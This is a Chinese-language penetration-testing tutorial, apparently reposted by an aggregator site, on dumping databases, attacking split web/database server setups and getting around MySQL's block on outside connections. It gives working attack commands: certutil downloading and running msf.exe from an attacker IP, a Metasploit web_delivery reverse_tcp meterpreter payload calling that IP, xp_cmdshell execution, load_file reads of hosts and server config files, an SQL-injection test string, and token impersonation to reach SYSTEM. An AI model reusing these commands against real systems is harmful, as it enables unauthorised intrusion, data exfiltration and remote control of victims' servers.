脱库&站库分离渗透&解决MySQL禁止外连

Posted Ocean:)

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了脱库&站库分离渗透&解决MySQL禁止外连相关的知识,希望对你有一定的参考价值。

打包数据库文件

  1. access 数据库:mdb格式直接下载

  2. mysql数据库:在路径mysql/data/下存放所有数据库,直接将文件夹复制到web目录tar打包下载

  3. mssql数据库:msdbdata.mdf msdblog.ldf 两个文件复制,直接下载

SQL语句打包数据库

MySQL

登录数据库,命令备份数据库

  • mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库

  • cd /var/lib/mysql

    mysqldump -u db_user -p db_passwd > 1.sql //先进入数据库目录再备份

  • mysqldump --all-databases > 1.sql //备份所有数据库

数据库还原

  • mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库

  • cd /var/lib/mysql

    mysql -u db_user db_passwd < 1.sql //先进入数据库目录再还原

mysqldump 命令不仅可以在数据中使用,有权限的话也可以在命令行中使用

SQL server

登录数据库

backup database Test to disk='D:/Test.bak'

使用工具打包数据库

如果在知道数据库账密的情况下可以使用这种方式,存在web端数据管理直接用

mysql

  • adminer
  • phpmyadmin
  • navformysql

mssql

  • navfor for sql server

navicat 也是可以的

以及webshell管理工具如蚁剑、菜刀等都有数据管理功能

站库分离渗透

注:此部分转载于潇湘信安

站库分离其实就是管理员将网站程序和数据库分别放在了不同的服务器上,这样看似提高了数据安全性,但是如果网站存在漏洞,攻击者还是有可能以Web或Data为入口访问到内网数据库服务器中的数据

Web入口渗透

通过网站的各种漏洞来Getshell,如:文件上传、文件包含、命令执行、代码执行、SQL注入写入一句话(Into outfile、日志备份)等,在获得Webshell权限或者有诸如文件读取等漏洞时,我们可以读数据库配置文件、对数据库内容分析、查找数据库备份,进而对内网数据库服务器进行渗透

Data入口渗透

从数据库入口渗透同样是为了获取更大的权限,或者扩展我们的渗透成果。比如从这台数据库服务器中可以得到网站和数据库的一些用户、密码等信息,在后续的内网渗透中可以很有效的帮助我们

通过外网暴露的数据库弱口令、反编译或嗅探C/S客户端以及Web网站SQL注入漏洞等,在获得数据库账户密码或者利用sqlmap进入到os-shell、sql-shell,这时我们不能写入Webshel,因为这台数据库服务器中没有Web环境,但可以通过以下方式来做信息搜集和获取权限,先拿到这台数据库服务器权限,然后再尝试对Web服务器和内网其他主机进行渗透

站库分离判断方法

1.网络连接状态

通过Netstat命令查看MSSQL数据库1433端口的网络连接状态,可以看到与当前MSSQL数据库服务器192.168.32.8建立连接的只有192.168.32.3,由此可以判断这台主机为Web服务器

netstat -ano | findstr "1433"

2.数据库配置文件

通过网站程序数据库配置文件来判断是否站库分离,如果数据库IP地址是localhost、127.0.0.1或当前主机内网IP则说明为同服务器,反之则可能为站库分离,自建公网数据库和RDS云数据库除外

3.MySQL内置函数和库

通过MySQL的@@hostname内置函数可以查看服务端主机名称,information_schema内置库的PROCESSLIST可以定位到当前已连接数据库的用户名、主机和端口号等信息,Windows连接格式:主机名:Port,Linux连接格式:IP:Port,本地连接格式:localhost:Port

select @@hostname;                                 //服务端主机名称
select * from information_schema.PROCESSLIST;      //客户端主机名称和端口

也可以通过load_file()这个内置函数读取一些敏感文件,如:hosts文件中解析的一些内网业务的IP地址和域名,IIS/Apache/nginx/Tomcat/Jboss/Weblogic/Websphere的相关配置文件以及网卡信息等

select load_file('C:/Windows/System32/drivers/etc/hosts');

/etc/hosts
/etc/apache2/apache2.conf
/etc/httpd/conf/httpd.conf
/etc/udev/rules.d/70-persistent-net.rules          //获取网卡名称
/etc/network/interfaces                            //DHCP或静态IP
/var/lib/dhclient/dhclient--网卡.lease             //DHCP
/etc/sysconfig/network-scripts/ifcfg-网卡          //静态IP
C:/Windows/System32/drivers/etc/hosts
C:/Windows/system32/inetsrv/MetaBase.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/phpStudy/Apache/conf/httpd.conf
C:/phpStudy/Apache/conf/vhosts.conf
C:/phpStudy/PHPTutorial/Apache/conf/httpd.conf
C:/phpStudy/PHPTutorial/Apache/conf/vhosts.conf
C:/phpStudy/PHPTutorial/nginx/conf/nginx.conf
C:/phpStudy/PHPTutorial/nginx/conf/vhosts.conf
[...SNIP...]

4.MSSQL内置函数和表

通过MSSQL的host_name()、@@servername和serverproperty几个内置函数来判断是否站库分离,如果客户端与服务端返回的主机名不一样则说明为站库分离,返回的主机名一样则说明可能为同服务器

select host_name();                       //客户端主机名称
select @@servername;                      //服务端主机名称
select serverproperty('MachineName');     //服务端主机名称

也可以通过MSSQL的sysprocesses系统表来判断是否站库分离,它的功能类似于MySQL中的PROCESSLIST,可以定位到当前已连接到sqlinject数据库的用户名和主机名等信息

有时会有内网多台Web服务器同时连接一台数据库服务器中的不同数据库,这时我们就可以利用这种方式来查看连接到某数据库的用户名和主机名等信息,然后使用Ping主机名得到这台Web服务器的内网IP地址

select name from master.sys.sysdatabases;
select * from master.sys.sysprocesses where dbid= db_id('sqlinject');
exec master..xp_cmdshell 'cmd /c ping WIN-111111111';

还可以直接通过以下MSSQL注入语句来判断是否站库分离,news必须为数据库中存在的表名,当然用其他存在的表名也是可以的,如果注入页面返回不正常则说明为站库分离,反之则为同服务器

and exists(select * from news where 1=(SELECT (case when host_name()=@@servername then 1 else 0 end)))

站库分离利用思路

1.下载远程文件

目标主机允许通外网时我们可以利用Vbs/Ftp/IPC$/Certutil/Bitsadmin/Powershell等方式来下载远程文件到可读写目录中,然后再去执行一下即可

certutil -urlcache -split -f http://155.**.***.229:8888/msf.exe C:ProgramDatamsf.exe
C:ProgramDatamsf.exe

2.执行远程Payload

目标主机允许通外网时我们可以直接利用Metasploit下的exploit/multi/script/web_delivery和exploit/windows/misc/hta_server两个模块来执行远程Payload获取会话,比第一种方法更简单快捷

set target 1
set payload windows/x64/meterpreter/reverse_tcp
set lhost 155.**.***.229
set lport 443
exploit

3.模拟令牌权限提升

笔者曾经在几个这样的“MSSQL站库分离”实战环境中直接通过Incognito扩展中的模拟令牌功能获取到数据库服务器的Admin/SYSTEM令牌

在本地“站库分离”靶场环境中测试发现,只要有主机在使用Windows身份验证连接到这台数据库服务器的MSSQL时就会保留当前登录用户的令牌,而大多数人又都是以默认Administrator管理员来安装的MSSQL,所以能够直接获取到Administrator令牌

支持Windows身份验证的数据库连接工具有:sqlcmd、SSMS和Navicat Premium等

C:Program FilesMicrosoft SQL Server100ToolsBinnsqlcmd.exe -S "192.168.1.109" -E

推荐阅读

  • https://xz.aliyun.com/t/8584

站库分离打包数据库

  • MySQL

    站库分离情况下,MySQL数据库是一定支持外部访问的

    使用webshell管理工具如蚁剑、菜刀等都有数据管理功能,以及使用数据库管理工具打包

  • SQL server

    使用webshell管理工具如蚁剑、菜刀等都有数据管理功能

解决MySQL禁止外连

蚁剑

在地址上右击选择数据操作

点击左侧工具栏的添加按钮,连接字符串就是index.aspx文件泄露的

Navicat tunnel隧道

目标 MySQL 不允许外连,但是可以上传 PHP 脚本:

这个时候可以使用 Navicat 自带的 tunnel 隧道脚本上传到目标网站上:

实际上 Navicat 很久很久以前就自带这些脚本了,这个脚本有点类似于 reGeorg,只是官方的脚本用起来更舒服方便一点,脚本的界面如下:

如下:

接着连接的时候设置 HTTP 通道:

这个时候主机地址填写 localhost 即可:


以上是关于脱库&站库分离渗透&解决MySQL禁止外连的主要内容,如果未能解决你的问题,请参考以下文章

web安全:mysql提权总结篇

php通过公网ip链接mysql,速度很慢,如何解决?

内网渗透-横向移动(smb&wmi)

从SQL注入到拿下三个域控

内网渗透-基础知识&信息收集

内网渗透-完整的域渗透